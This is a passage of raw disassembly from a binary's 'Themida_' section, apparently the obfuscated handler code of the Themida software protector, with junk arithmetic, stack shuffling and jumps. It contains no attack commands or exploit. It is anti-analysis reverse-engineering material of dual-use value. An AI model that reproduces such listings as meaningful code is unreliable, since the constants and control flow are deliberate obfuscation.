[edi+20h], esi pop esi push ebx mov ebx, 1B3E2913h sub ebx, 14421390h sub [edi+20h], ebx jmp loc_559753 ; --------------------------------------------------------------------------- loc_5525B8: ; CODE XREF: Themida_:0055780Fj push edi jmp loc_55CCA2 ; --------------------------------------------------------------------------- loc_5525BE: ; CODE XREF: Themida_:00558E1Dj push 48C4CDAh mov esi, [esp] push ecx mov ecx, esp jmp loc_555FD8 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_557CF8 ; --------------------------------------------------------------------------- loc_5525D7: ; CODE XREF: Themida_:00558FFDj push ecx mov ecx, 1 sub ebp, 5778391Fh add ebp, ecx jmp loc_557948 ; --------------------------------------------------------------------------- loc_5525EA: ; CODE XREF: Themida_:0055B905j inc edi jmp loc_557CCB ; --------------------------------------------------------------------------- loc_5525F0: ; CODE XREF: Themida_:005543C1j pop edi sub ebx, ebp pop ebp add ebx, edi add ebx, 36951E3Eh pop edi push ebp mov ebp, 2 add ebx, ebp pop ebp sub esp, 4 mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_55D2FF ; --------------------------------------------------------------------------- loc_552618: ; CODE XREF: Themida_:0055C0FAj mov ebx, 35DF09F9h jmp loc_5522BC ; --------------------------------------------------------------------------- loc_552622: ; CODE XREF: Themida_:0055582Dj mov ebp, 78E93186h mov ecx, ebp jmp loc_5572B4 ; --------------------------------------------------------------------------- loc_55262E: ; CODE XREF: Themida_:00558503j add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_55411E ; --------------------------------------------------------------------------- loc_55263E: ; CODE XREF: Themida_:0055BB39j push edx mov edx, 24h push ecx mov ecx, 3D65764h sub edx, ecx pop ecx add edx, edi push ebx push edx mov edx, 3D65764h jmp loc_55C7EF ; --------------------------------------------------------------------------- loc_55265B: ; CODE XREF: Themida_:00556F37j add eax, 3525674Fh add eax, 170D73EBh push ecx jmp loc_55A2F5 ; --------------------------------------------------------------------------- loc_55266B: ; CODE XREF: Themida_:0055296Fj add esi, ebp jmp loc_559275 ; --------------------------------------------------------------------------- loc_552672: ; CODE XREF: Themida_:00554D84j mov [esp], ebx push eax jmp loc_55310D ; --------------------------------------------------------------------------- loc_55267B: ; CODE XREF: Themida_:005596FAj mov edi, [esp] jmp loc_553DEA ; --------------------------------------------------------------------------- loc_552683: ; CODE XREF: Themida_:00552E39j mov bl, 0F8h add bl, 20h push edx mov dh, 0FCh jmp loc_55A724 ; --------------------------------------------------------------------------- loc_552690: ; CODE XREF: Themida_:0055A86Bj pop edx pop ebx jmp loc_55CEC8 ; --------------------------------------------------------------------------- loc_552697: ; CODE XREF: Themida_:0055D5FFj pop esp sub esp, 4 mov [esp], ebp push 2F56h mov [esp], edi jmp loc_55C2C0 ; --------------------------------------------------------------------------- loc_5526AE: ; CODE XREF: Themida_:00554E7Fj add edi, ebx jmp loc_556C27 ; --------------------------------------------------------------------------- loc_5526B5: ; CODE XREF: Themida_:00551AA3j add esp, 4 shr edx, 6 add edx, 0FFFFFFFFh not edx sub edx, 0C7F922CBh push ebp mov ebp, edx push ebp pop ebx pop ebp push dword ptr [esp] pop edx add esp, 4 mov eax, 36E6605Ah xor eax, ebx mov ebx, [esp] add esp, 4 jmp loc_551815 ; --------------------------------------------------------------------------- loc_5526EE: ; CODE XREF: Themida_:00558A23j add esp, 4 sub bp, 1D31h sub bp, bx jmp loc_557251 ; --------------------------------------------------------------------------- loc_5526FE: ; CODE XREF: Themida_:005569DBj mov [esp], ecx push 323A0AFCh jmp loc_55279B ; --------------------------------------------------------------------------- loc_55270B: ; CODE XREF: Themida_:005585F5j push dword ptr [esp] pop edi add esp, 4 mov edx, [esp] add esp, 4 jmp loc_55B213 ; --------------------------------------------------------------------------- loc_552723: ; CODE XREF: Themida_:00558BC0j pop bx jmp loc_558FDE ; --------------------------------------------------------------------------- loc_55272A: ; CODE XREF: Themida_:0055AB8Ej push ecx jmp loc_553783 ; --------------------------------------------------------------------------- loc_552730: ; CODE XREF: Themida_:0055D2ECj pop ebp jmp loc_552993 ; --------------------------------------------------------------------------- loc_552736: ; CODE XREF: Themida_:0055AD24j dec ecx push ebp jmp loc_55A7B8 ; --------------------------------------------------------------------------- loc_55273D: ; CODE XREF: Themida_:0055CC16j sub edi, 4 jmp loc_55A317 ; --------------------------------------------------------------------------- loc_552745: ; CODE XREF: Themida_:0055960Ej add eax, 713A2BB8h push 7176h mov [esp], edi jmp loc_55C5CD ; --------------------------------------------------------------------------- loc_552757: ; CODE XREF: Themida_:0055C154j mov esi, ecx jmp loc_559219 ; --------------------------------------------------------------------------- loc_55275E: ; CODE XREF: Themida_:0055A90Dj pop esp jmp loc_55415B ; --------------------------------------------------------------------------- loc_552764: ; CODE XREF: Themida_:0055CFB9j pop eax jmp loc_55C586 ; --------------------------------------------------------------------------- loc_55276A: ; CODE XREF: Themida_:0055591Aj not dl shr dl, 1 add dl, 13h mov bh, dl pop edx jmp loc_551AF5 ; --------------------------------------------------------------------------- loc_552779: ; CODE XREF: Themida_:00553227j mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_5574CF ; --------------------------------------------------------------------------- loc_552789: ; CODE XREF: Themida_:0055B6D7j dec cl and cl, 7Dh jmp loc_55801B ; --------------------------------------------------------------------------- loc_552793: ; CODE XREF: Themida_:00551C97j sub ebx, esi pop esi jmp loc_55C93E ; --------------------------------------------------------------------------- loc_55279B: ; CODE XREF: Themida_:00552706j pop ecx xor eax, ecx jmp loc_55C57B ; --------------------------------------------------------------------------- loc_5527A3: ; CODE XREF: Themida_:0055CE1Aj add esi, 4 add esi, 4 xchg esi, [esp] pop esp add eax, 4 jmp loc_5567CC ; --------------------------------------------------------------------------- loc_5527BA: ; CODE XREF: Themida_:0055CAFFj mov ebx, [esp] add esp, 4 xor edx, edx jmp loc_55808D ; --------------------------------------------------------------------------- loc_5527C7: ; CODE XREF: Themida_:00553574j pop ecx push esi push 4 pop esi jmp loc_553392 ; --------------------------------------------------------------------------- loc_5527D4: ; CODE XREF: Themida_:005563DAj push esp pop dword ptr [esp] jmp loc_551FC6 ; --------------------------------------------------------------------------- loc_5527DD: ; CODE XREF: Themida_:00556C3Ej mov [esp], edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 jmp loc_555A92 ; --------------------------------------------------------------------------- loc_5527F5: ; CODE XREF: Themida_:0055CDBAj xchg ebp, [esp] pop esp add ecx, esi jmp loc_555605 ; --------------------------------------------------------------------------- loc_552800: ; CODE XREF: Themida_:00556C03j mov [esp], ebp push esp jmp loc_551BFF ; --------------------------------------------------------------------------- loc_552809: ; CODE XREF: Themida_:00557069j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5530AF ; --------------------------------------------------------------------------- loc_552820: ; CODE XREF: Themida_:0055809Bj add esp, 4 push ebp push 1C9Ch push esp pop dword ptr [esp] sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_5576DF ; --------------------------------------------------------------------------- loc_552840: ; CODE XREF: Themida_:00555399j mov edx, [esp] add esp, 4 mov edi, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_554F87 ; --------------------------------------------------------------------------- loc_552860: ; CODE XREF: Themida_:0055D4DFj push 6D6361FAh pop ebx jmp loc_5537C8 ; --------------------------------------------------------------------------- loc_55286B: ; CODE XREF: Themida_:0055C15Aj xor al, bl jmp loc_55ACE0 ; --------------------------------------------------------------------------- loc_552872: ; CODE XREF: Themida_:0055B651j dec edi neg edi push ebx mov ebx, 4B8D24D3h xor ebx, 140C2745h sub ebx, 4304EB00h xor edi, ebx pop ebx shr edi, 7 push esi jmp loc_55CA1B ; --------------------------------------------------------------------------- loc_552893: ; CODE XREF: Themida_:0055BF13j push esi mov esi, 0BA07E19h not esi jmp loc_554D89 ; --------------------------------------------------------------------------- loc_5528A0: ; CODE XREF: Themida_:00554EF5j jmp loc_551815 ; --------------------------------------------------------------------------- loc_5528A5: ; CODE XREF: Themida_:00556A53j btc [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_5528B0: ; CODE XREF: Themida_:00555CEBj or esi, 323D4378h push edx mov edx, 2CD0FC8Bh jmp loc_55DD38 ; --------------------------------------------------------------------------- loc_5528C1: ; CODE XREF: Themida_:00557B43j or edx, 5E70055Ch jmp loc_558462 ; --------------------------------------------------------------------------- loc_5528CC: ; CODE XREF: Themida_:005532F0j or edi, 6AB80ED6h jmp loc_558654 ; --------------------------------------------------------------------------- loc_5528D7: ; CODE XREF: Themida_:00552BE2j push edx push eax jmp loc_55DD21 ; --------------------------------------------------------------------------- loc_5528DE: ; CODE XREF: Themida_:00556E24j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_55CC7F ; --------------------------------------------------------------------------- loc_5528F1: ; CODE XREF: Themida_:00552F65j xor eax, edi pop edi sub esi, 2AB45D10h sub esi, eax add esi, 2AB45D10h pop eax add esi, 4D9422Ah sub esi, 60FC0EF5h push dword ptr [esp] pop eax add esp, 4 push 1CBFh jmp loc_556877 ; --------------------------------------------------------------------------- loc_552923: ; CODE XREF: Themida_:0055B67Dj mov ecx, 15174A8Dh add ecx, 1 jmp loc_55BC28 ; --------------------------------------------------------------------------- loc_552930: ; CODE XREF: Themida_:00557760j mov ecx, [esp] add esp, 4 add edx, ecx jmp loc_558169 ; --------------------------------------------------------------------------- loc_55293D: ; CODE XREF: Themida_:00553DA2j add edi, ebp pop ebp xor ecx, edi jmp loc_55CFE0 ; --------------------------------------------------------------------------- loc_552947: ; CODE XREF: Themida_:005535CBj pop eax jmp loc_5560FA ; --------------------------------------------------------------------------- loc_55294D: ; CODE XREF: Themida_:00553216j add edx, ebx add dword ptr [edx], 1 mov edx, [esp] add esp, 4 jmp loc_551F37 ; --------------------------------------------------------------------------- loc_552963: ; CODE XREF: Themida_:00556184j push ebp mov ebp, 3EC64EF1h sub esi, 2EC1BF9h jmp loc_55266B ; --------------------------------------------------------------------------- loc_552974: ; CODE XREF: Themida_:0055C8F3j pop ebp xchg eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_552181 ; --------------------------------------------------------------------------- loc_552983: ; CODE XREF: Themida_:0055D0F3j sub ecx, edi pop edi push 1CD3h mov [esp], ebx jmp loc_553437 ; --------------------------------------------------------------------------- loc_552993: ; CODE XREF: Themida_:00552731j add esi, 4D09292Ah add esi, 13DE6F31h mov ebx, esi pop esi add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5518D6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx sub esp, 4 mov [esp], esi jmp loc_556638 ; --------------------------------------------------------------------------- loc_5529BE: ; CODE XREF: Themida_:00554847j mov [esp], edi jmp loc_55670F ; --------------------------------------------------------------------------- loc_5529C6: ; CODE XREF: Themida_:005591C9j pop eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 add edx, 2 jmp loc_5539A8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_555857 ; --------------------------------------------------------------------------- loc_5529F1: ; CODE XREF: Themida_:00554F3Cj dec bh push cx jmp loc_55548A ; --------------------------------------------------------------------------- loc_5529FA: ; CODE XREF: Themida_:0055342Aj push esp jmp loc_55BB8A ; --------------------------------------------------------------------------- loc_552A00: ; CODE XREF: Themida_:0055AB82j push eax mov eax, 402E422Dh neg eax shr eax, 7 and eax, 2C97758Eh push edi mov edi, 18810DC2h jmp loc_55CA98 ; --------------------------------------------------------------------------- loc_552A1B: ; CODE XREF: Themida_:0055A5CCj and ch, bh pop ebx not ch add ch, 0E6h sub al, ch pop ecx pop dx push ebx push 0B4Ch mov [esp], eax push 5FE7h mov [esp], ebx mov bh, 90h not bh dec bh and bh, 43h xor bh, 24h mov ah, bh mov ebx, [esp] jmp loc_553101 ; --------------------------------------------------------------------------- loc_552A4F: ; CODE XREF: Themida_:00557F75j mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_559F18 ; --------------------------------------------------------------------------- loc_552A60: ; CODE XREF: Themida_:0055AB48j mov [esp], ebx push 47CDh mov [esp], ebp push esi mov esi, 6AF61486h mov ebp, 0A70EF21Bh jmp loc_5545AB ; --------------------------------------------------------------------------- loc_552A7B: ; CODE XREF: Themida_:005562AAj push esi add dword ptr [esp], 93D2E11h pop ecx sub ecx, 93D2E11h pop esi mov ebx, ecx pop ecx add ebp, 539F1999h jmp loc_5518B2 ; --------------------------------------------------------------------------- loc_552A99: ; CODE XREF: Themida_:0055B51Ej jmp loc_551815 ; --------------------------------------------------------------------------- loc_552A9E: ; CODE XREF: Themida_:005534A9j xchg esi, [esp] mov esp, [esp] push ebp push ecx push edx mov edx, 35F97095h xor [esp+4], edx pop edx jmp loc_558FE7 ; --------------------------------------------------------------------------- loc_552AB6: ; CODE XREF: Themida_:0055ACE7j mov cl, 0E0h sub al, 58h add al, cl push ebx push ecx mov cl, 53h push ebx jmp loc_55983C ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 633C4824h push edx jmp loc_55C1B5 ; --------------------------------------------------------------------------- loc_552AD3: ; CODE XREF: Themida_:00556640j push edi mov edi, 40260830h jmp loc_55C9A2 ; --------------------------------------------------------------------------- loc_552ADE: ; CODE XREF: Themida_:0055A08Cj shr ecx, 2 and ecx, 5A3134DAh shr ecx, 8 push eax mov eax, 0EE979E59h sub ecx, eax pop eax xor eax, ecx jmp loc_5592B1 ; --------------------------------------------------------------------------- loc_552AFA: ; CODE XREF: Themida_:0055C98Cj push 30FCh jmp loc_55933F ; --------------------------------------------------------------------------- loc_552B04: ; CODE XREF: Themida_:00558191j pop ebx sub cl, 0C5h dec cl sub cl, 0B8h mov bl, cl pop ecx push edx mov dh, bl jmp loc_558F83 ; --------------------------------------------------------------------------- loc_552B18: ; CODE XREF: Themida_:00552220j mov eax, esp add eax, 4 add eax, 4 jmp loc_55BFFA ; --------------------------------------------------------------------------- loc_552B27: ; CODE XREF: Themida_:00557E0Bj mov [esp], esp add dword ptr [esp], 4 jmp loc_55B75B ; --------------------------------------------------------------------------- loc_552B33: ; CODE XREF: Themida_:00554210j sub esi, ebx pop ebx push eax mov eax, 4D1340D1h jmp loc_556256 ; --------------------------------------------------------------------------- loc_552B41: ; CODE XREF: Themida_:00551A11j mov ecx, ebp pop ebp add ecx, 0D84A15C8h jmp loc_55398A ; --------------------------------------------------------------------------- loc_552B4F: ; CODE XREF: Themida_:00554D90j sub edi, 22737745h sub edi, esi add edi, 22737745h pop esi push dword ptr [esp] jmp loc_55A075 ; --------------------------------------------------------------------------- loc_552B66: ; CODE XREF: Themida_:005596B3j push 61D9h mov [esp], ecx xchg edx, [esp] not edx xor [esp], edx xor edx, [esp] xor [esp], edx mov ecx, [esp] push esi push esp pop esi push ecx mov ecx, 0DD152F7h sub ecx, 0DD152F3h jmp loc_554FEB ; --------------------------------------------------------------------------- loc_552B93: ; CODE XREF: Themida_:00555032j pop edx jmp loc_554906 ; --------------------------------------------------------------------------- loc_552B99: ; CODE XREF: Themida_:00557CF3j xchg edi, [esp] jmp loc_5580AD ; --------------------------------------------------------------------------- loc_552BA1: ; CODE XREF: Themida_:00556C34j pop edi push 14C2h mov [esp], ebx push ebp push edi sub esp, 4 mov [esp], ebx mov ebx, 7E2E79F6h xor ebx, 65F7364h neg ebx not ebx sub ebx, 0FFFFFFFFh xor ebx, 0BF634C6h push ecx mov ecx, 265407A8h jmp loc_559991 ; --------------------------------------------------------------------------- loc_552BDB: ; CODE XREF: Themida_:005589CCj mov ecx, 28h add ecx, edi jmp loc_5528D7 ; --------------------------------------------------------------------------- loc_552BE7: ; CODE XREF: Themida_:0055B098j add ebx, 4C3C00BCh add ebx, ebp sub ebx, 4C3C00BCh pop ebp add ebx, 2 xchg ebx, [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_552C08: ; CODE XREF: Themida_:00559942j push edx mov dh, 19h push ecx mov ch, 93h jmp loc_551DAE ; --------------------------------------------------------------------------- loc_552C13: ; CODE XREF: Themida_:00551A49j pop ebx jmp loc_551981 ; --------------------------------------------------------------------------- loc_552C19: ; CODE XREF: Themida_:0055C914j mov di, 6D9Bh dec di xor di, 6F5Dh or di, 713Ah sub di, 1B62h jmp loc_55A57F ; --------------------------------------------------------------------------- loc_552C33: ; CODE XREF: Themida_:00558B43j push dword ptr [esp] pop ecx push esi mov esi, esp push edx mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp] pop esp add bl, al sub esp, 4 mov [esp], edx mov dh, 12h add dh, 0FFh shl dh, 8 jmp loc_553467 ; --------------------------------------------------------------------------- loc_552C62: ; CODE XREF: Themida_:005551D3j sub al, dh pop dx sub al, bh add al, 17h pop ebx push ecx jmp loc_5519AC ; --------------------------------------------------------------------------- loc_552C71: ; CODE XREF: Themida_:00556633j pop ebx jmp loc_556149 ; --------------------------------------------------------------------------- loc_552C77: ; CODE XREF: Themida_:0055C87Aj add ecx, 4 push eax jmp loc_555E77 ; --------------------------------------------------------------------------- loc_552C83: ; CODE XREF: Themida_:00551D8Bj push ecx mov ecx, 36EE4F83h dec ecx neg ecx not ecx shl ecx, 5 and ecx, 32737B2Dh sub ecx, 1041701Ch jmp loc_5581EB ; --------------------------------------------------------------------------- loc_552CA2: ; CODE XREF: Themida_:00551938j mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_55840A ; --------------------------------------------------------------------------- loc_552CB6: ; CODE XREF: Themida_:0055A100j or edi, eax pop eax jmp loc_55889C ; --------------------------------------------------------------------------- loc_552CBE: ; CODE XREF: Themida_:005535B2j pop ecx add esi, eax pop eax add esi, 2E477554h pop eax xor eax, esi mov esi, [esp] add esp, 4 jmp loc_558F00 ; --------------------------------------------------------------------------- loc_552CD9: ; CODE XREF: Themida_:00552DEAj add ecx, 1EE97C01h jmp loc_55AAFF ; --------------------------------------------------------------------------- loc_552CE4: ; CODE XREF: Themida_:0055B25Bj push edi push eax mov eax, 642B034Ah mov edi, 9BD4FCBAh add edi, eax pop eax jmp loc_555771 ; --------------------------------------------------------------------------- loc_552CF8: ; CODE XREF: Themida_:00555D9Dj ; Themida_:loc_55986Fj sub esp, 4 mov [esp], esi mov esi, esp jmp loc_5598AA ; --------------------------------------------------------------------------- loc_552D08: ; CODE XREF: Themida_:0055B756j add dword ptr [esp], 4 pop ebp push 5320h mov [esp], edx mov edx, 53654514h not edx shl edx, 5 neg edx jmp loc_55D70F ; --------------------------------------------------------------------------- loc_552D26: ; CODE XREF: Themida_:0055CE53j pop edi add esp, 4 jmp loc_5580CD ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_551815 ; --------------------------------------------------------------------------- loc_552D39: ; CODE XREF: Themida_:0055AAE8j mov eax, 2 add edi, eax jmp loc_5543C6 ; --------------------------------------------------------------------------- loc_552D45: ; CODE XREF: Themida_:0055573Ej inc dl jmp loc_55CCBC ; --------------------------------------------------------------------------- loc_552D4C: ; CODE XREF: Themida_:00559E19j xor edx, 14A20806h shr edx, 1 sub edx, 347A89EAh xor ebp, edx pop edx push ebx mov ebx, 0A181E9Ah and ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, 6C6C2E2Eh mov edx, 666C2E27h xor edx, ebp push dword ptr [esp] pop ebp add esp, 4 and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push 0D46h mov [esp], esi mov esi, 7C306945h jmp loc_55581C ; --------------------------------------------------------------------------- loc_552DA3: ; CODE XREF: Themida_:00557EF4j add eax, 491B6784h shl eax, 1 sub eax, 27537609h add eax, 443F6C4Bh xor esi, eax pop eax push edi mov edi, esi push eax mov eax, edi mov ebx, eax pop eax pop edi jmp loc_5550B7 ; --------------------------------------------------------------------------- loc_552DC6: ; CODE XREF: Themida_:00556C90j mov ebx, 8D43B46h mov ebp, 8D43B4Ah sub ebp, 3282458Ah sub ebp, ebx add ebp, 3282458Ah pop ebx push ebp mov ebp, 1EE97C01h sub ecx, ebp pop ebp add ecx, ebp jmp loc_552CD9 ; --------------------------------------------------------------------------- loc_552DEF: ; CODE XREF: Themida_:00553FF1j mov ebx, [esp] add esp, 4 shr eax, 8 xor eax, ecx push edi jmp loc_55C5E5 ; --------------------------------------------------------------------------- loc_552E00: ; CODE XREF: Themida_:0055CFC1j push edx push 7F673B60h mov edx, [esp] jmp loc_553552 ; --------------------------------------------------------------------------- loc_552E0E: ; CODE XREF: Themida_:005533FAj push ebx push 45970425h jmp loc_555CDE ; --------------------------------------------------------------------------- loc_552E19: ; CODE XREF: Themida_:00556342j pop esp xor al, bh pop ebx push ecx push eax mov al, 6Fh mov ch, 0A5h jmp loc_551E74 ; --------------------------------------------------------------------------- loc_552E28: ; CODE XREF: Themida_:0055DBD3j mov edx, [esp] add esp, 4 push 3467h mov [esp], ebx jmp loc_552683 ; --------------------------------------------------------------------------- loc_552E3E: ; CODE XREF: Themida_:00552529j mov ebx, 4 sub ecx, ebx pop ebx jmp loc_554D95 ; --------------------------------------------------------------------------- sub esp, 2 mov [esp], ax push small word ptr [esp+2] mov ax, [esp] jmp loc_558B14 ; --------------------------------------------------------------------------- loc_552E60: ; CODE XREF: Themida_:0055A187j xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55C173 ; --------------------------------------------------------------------------- loc_552E6E: ; CODE XREF: Themida_:0055A7F4j pop ebx not ebx sub ebx, 83CEADBDh mov eax, ebx pop ebx add ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] or [esp], eax pushf jmp loc_55CF91 ; --------------------------------------------------------------------------- loc_552E8C: ; CODE XREF: Themida_:00556A2Cj mov edi, 773B2431h sub edi, 3C338FEh jmp loc_553010 ; --------------------------------------------------------------------------- loc_552E9C: ; CODE XREF: Themida_:005536FEj mov [esp], edi mov edi, 268F66CFh jmp loc_55A6C4 ; --------------------------------------------------------------------------- loc_552EA9: ; CODE XREF: Themida_:0055AB18j mov [esp], ebp mov ebp, 761F02C6h jmp loc_555C7A ; --------------------------------------------------------------------------- loc_552EB6: ; CODE XREF: Themida_:005599F8j push edx mov edx, 3D2370CBh and eax, edx pop edx xor eax, 34022004h add esi, eax jmp loc_55CF62 ; --------------------------------------------------------------------------- loc_552ECB: ; CODE XREF: Themida_:005574B0j add dh, 84h add bl, dh jmp loc_5592E1 ; --------------------------------------------------------------------------- loc_552ED5: ; CODE XREF: Themida_:0055C8A6j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_559F97 ; --------------------------------------------------------------------------- loc_552EE9: ; CODE XREF: Themida_:00553784j pop ecx push edi push eax jmp loc_55AFEB ; --------------------------------------------------------------------------- loc_552EF1: ; CODE XREF: Themida_:00557F47j pop ebx sub ebp, 2 xchg ebp, [esp] jmp loc_55AFB1 ; --------------------------------------------------------------------------- loc_552F00: ; CODE XREF: Themida_:00556432j push edx mov edx, 22FD0051h dec edx jmp loc_558C24 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push edx jmp loc_55AABE ; --------------------------------------------------------------------------- loc_552F1E: ; CODE XREF: Themida_:00554940j sub ebx, 51B00817h jmp loc_554F53 ; --------------------------------------------------------------------------- loc_552F29: ; CODE XREF: Themida_:005544C8j inc bl dec bl inc bl sub bl, 7Ch xor bl, cl pop ecx xor al, bl pop bx push ecx push eax jmp loc_5535B7 ; --------------------------------------------------------------------------- loc_552F40: ; CODE XREF: Themida_:005577B1j push 3D35h mov [esp], edi jmp loc_553629 ; --------------------------------------------------------------------------- loc_552F4D: ; CODE XREF: Themida_:0055DB4Ej push eax mov eax, 1EAA3FAFh mov ebx, 60740CCCh jmp loc_55B52F ; --------------------------------------------------------------------------- loc_552F5D: ; CODE XREF: Themida_:0055AD5Cj neg edi xor edi, 3E2F493Fh jmp loc_5528F1 ; --------------------------------------------------------------------------- loc_552F6A: ; CODE XREF: Themida_:005543EFj pop edi push dword ptr [esp] pop edx jmp loc_55B8FF ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push edi mov edi, 7BCC78E4h add edi, 4C6A546Eh add edi, 1 dec edi jmp loc_55336B ; --------------------------------------------------------------------------- loc_552FAA: ; CODE XREF: Themida_:00555957j push esi mov esi, 7B5DD790h add eax, esi pop esi xor edi, eax mov eax, [esp] add esp, 4 mov [edx+38h], edi pop edi sub [edx+38h], ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_559458 ; --------------------------------------------------------------------------- loc_552FD3: ; CODE XREF: Themida_:0055839Dj xor esi, [esp] jmp loc_55C350 ; --------------------------------------------------------------------------- loc_552FDB: ; CODE XREF: Themida_:00558D00j add ecx, 38C50FC2h add ecx, edi sub ecx, 38C50FC2h sub ecx, 26F86D8Eh sub ecx, 37005268h pop edi shl ecx, 8 push eax mov eax, 393C7D31h jmp loc_5522E0 ; --------------------------------------------------------------------------- loc_553004: ; CODE XREF: Themida_:00552551j ; Themida_:00556972j push ebx push dword ptr [esp] pop eax push edx push esp jmp loc_55D4D1 ; --------------------------------------------------------------------------- loc_553010: ; CODE XREF: Themida_:00552E97j xor edi, 0C36607Ah sub edi, 7DAB5F2Ch xor ebx, edi pop edi and eax, ebx pop ebx shr eax, 0Bh xor ecx, eax push esi push eax mov eax, ebx mov esi, eax jmp loc_55AE16 ; --------------------------------------------------------------------------- loc_553032: ; CODE XREF: Themida_:0055C09Bj xchg ecx, [esp] push dword ptr [esp] jmp loc_55682B ; --------------------------------------------------------------------------- loc_55303D: ; CODE XREF: Themida_:0055BFF5j add eax, 2C174A37h shr eax, 8 jmp loc_55A52E ; --------------------------------------------------------------------------- loc_55304A: ; CODE XREF: Themida_:0055548Bj mov ah, 0B5h mov ch, ah jmp loc_5548D1 ; --------------------------------------------------------------------------- loc_553053: ; CODE XREF: Themida_:0055DB9Fj add dword ptr [esp+4], 4C621062h jmp loc_558F5B ; --------------------------------------------------------------------------- loc_553060: ; CODE XREF: Themida_:0055A4E6j add ebx, edi pop edi add ebx, eax sub esp, 4 mov [esp], esi jmp loc_558508 ; --------------------------------------------------------------------------- loc_553070: ; CODE XREF: Themida_:005532ADj push edi push edx mov edx, 2D3E4EF7h mov edi, 28094C57h xor edi, edx pop edx dec edi add edi, 6F1964E1h jmp loc_555949 ; --------------------------------------------------------------------------- loc_55308B: ; CODE XREF: Themida_:0055CAB4j sub ebx, 5A11368Ch mov eax, ebx pop ebx sub eax, 26CD6ED6h add eax, ebx add eax, 26CD6ED6h mov ecx, [eax] pop eax pop ebx jmp loc_551CB1 ; --------------------------------------------------------------------------- loc_5530A9: ; CODE XREF: Themida_:00553309j pop ebp jmp loc_5586FE ; --------------------------------------------------------------------------- loc_5530AF: ; CODE XREF: Themida_:0055281Bj popa popf jmp locret_558149 ; --------------------------------------------------------------------------- loc_5530B6: ; CODE XREF: Themida_:0055CF8Cj push edx mov dh, 4 inc dh jmp loc_55898E ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55433E ; --------------------------------------------------------------------------- loc_5530C9: ; CODE XREF: Themida_:0055D41Cj mov [esp], esi mov esi, 4 add ebx, esi pop esi push edi mov edi, 4 sub ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 2 push 750Bh mov [esp], ebp jmp loc_55B417 ; --------------------------------------------------------------------------- loc_553101: ; CODE XREF: Themida_:00552A4Aj add esp, 4 mov bh, 0C7h sub bh, ah jmp loc_55638F ; --------------------------------------------------------------------------- loc_55310D: ; CODE XREF: Themida_:00552676j mov ah, 0ADh jmp loc_554F23 ; --------------------------------------------------------------------------- loc_553114: ; CODE XREF: Themida_:0055864Aj not ebx jmp loc_55AC51 ; --------------------------------------------------------------------------- loc_55311B: ; CODE XREF: Themida_:005533D3j push edx jmp loc_559CD2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55312F: ; CODE XREF: Themida_:0055936Aj shl ebx, 8 sub ebx, 0FD3A5B44h jmp loc_554E5B ; --------------------------------------------------------------------------- loc_55313D: ; CODE XREF: Themida_:0055A5F2j pop ebp push dword ptr [esp] jmp loc_5554C0 ; --------------------------------------------------------------------------- loc_553146: ; CODE XREF: Themida_:00553A06j push edi mov edi, ebx mov eax, edi pop edi jmp loc_553862 ; --------------------------------------------------------------------------- loc_553151: ; CODE XREF: Themida_:0055DC1Ej shl cl, 5 xor cl, 3 add al, cl pop ecx push small 1F70h mov [esp], cx jmp loc_554592 ; --------------------------------------------------------------------------- loc_553167: ; CODE XREF: Themida_:005522FAj push edi mov edi, 7952767Eh jmp loc_558D96 ; --------------------------------------------------------------------------- loc_553172: ; CODE XREF: Themida_:00554C35j add ecx, 46C74AA1h add ecx, 7D73258Bh sub ecx, 36B37E6Ch xchg eax, ecx not eax xchg eax, ecx shl ecx, 4 sub ecx, 587B44FCh add esi, ecx jmp loc_55985C ; --------------------------------------------------------------------------- loc_553198: ; CODE XREF: Themida_:00556159j push 30DFh mov [esp], ebx push edi push ecx mov ecx, 4B807C2Ch jmp loc_55DB15 ; --------------------------------------------------------------------------- loc_5531AC: ; CODE XREF: Themida_:0055C08Bj mov esp, [esp] mov fs:[edx], ax jmp loc_551815 ; --------------------------------------------------------------------------- loc_5531B8: ; CODE XREF: Themida_:00556869j xchg ecx, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] loc_5531C4: ; CODE XREF: Themida_:00555A9Aj push ebx jmp loc_5587FA ; --------------------------------------------------------------------------- loc_5531CA: ; CODE XREF: Themida_:0055BDA2j shr dl, 